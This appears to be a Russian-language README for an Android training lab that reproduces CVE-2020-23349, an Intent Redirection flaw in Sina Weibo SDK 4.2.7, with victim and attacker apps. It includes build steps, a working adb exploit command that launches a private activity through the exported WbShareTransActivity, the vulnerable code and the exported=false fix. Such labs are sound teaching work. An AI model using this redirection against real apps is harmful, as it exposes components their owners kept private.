
Обучающая Android-лаборатория для CVE-2020-23349 в Sina Weibo SDK 4.2.7
Учебный проект для локального воспроизведения уязвимости Intent Redirection в Sina Weibo Android SDK 4.2.7.
Используйте только на разрешённых тестовых устройствах или эмуляторах. Не используйте его против реальных пользовательских приложений.
victim: уязвимое приложение, включающее настоящий openDefault-4.2.7.aarattacker: атакующее приложение, вызывающее exported WbShareTransActivityvictim/.../PrivateActivity: целевой компонент воспроизведения с android:exported="false"Поток уязвимости выглядит следующим образом:
Attacker 앱
-> exported WbShareTransActivity
-> Intent Extra의 startActivity/gotoActivity
-> victim의 PrivateActivity 실행
Требуются Android SDK 36 и JDK 17.
./gradlew clean assembleDebug
Создаваемые файлы:
victim/build/outputs/apk/debug/victim-debug.apk
attacker/build/outputs/apk/debug/attacker-debug.apk
adb install -r victim/build/outputs/apk/debug/victim-debug.apk
adb install -r attacker/build/outputs/apk/debug/attacker-debug.apk
adb shell am start -n lab.cve202023349.attacker/.MainActivity
Launch private Activity.EXPLOIT SUCCESS, воспроизведение прошло успешно.Можно также воспроизвести атаку напрямую через ADB.
adb shell am start \
-n lab.cve202023349.victim/com.sina.weibo.sdk.share.WbShareTransActivity \
--es startActivity lab.cve202023349.victim.PrivateActivity \
--es gotoActivity lab.cve202023349.victim.PrivateActivity
SDK 4.2.7 доверяет строкам startActivity и gotoActivity из внешнего Intent и использует их следующим образом:
resultIntent.setClassName(this, startActivityName);
startActivity(resultIntent);
Поскольку this — это Context приложения Victim, Android считает, что приложение Victim запускает свой собственный private Activity.
В современных сборках Android нужно явно указывать android:exported, поэтому в этом проекте в victim/AndroidManifest.xml явно задано значение true, чтобы воспроизвести неявное состояние exported из старого SDK.
В упражнениях, где функция публикации не нужна, измените следующее значение на false и пересоберите проект:
<activity
android:name="com.sina.weibo.sdk.share.WbShareTransActivity"
android:exported="false" />
После этого та же атака будет заблокирована исключением SecurityException. В реальном продукте следует удалить Weibo SDK 4.x и обновиться до последней поддерживаемой версии.
Включённый AAR взят из коммита 4.2.7 официального публичного репозитория Sina Weibo.
99daf8a (4.2.7)新文档/openDefault-4.2.7.aar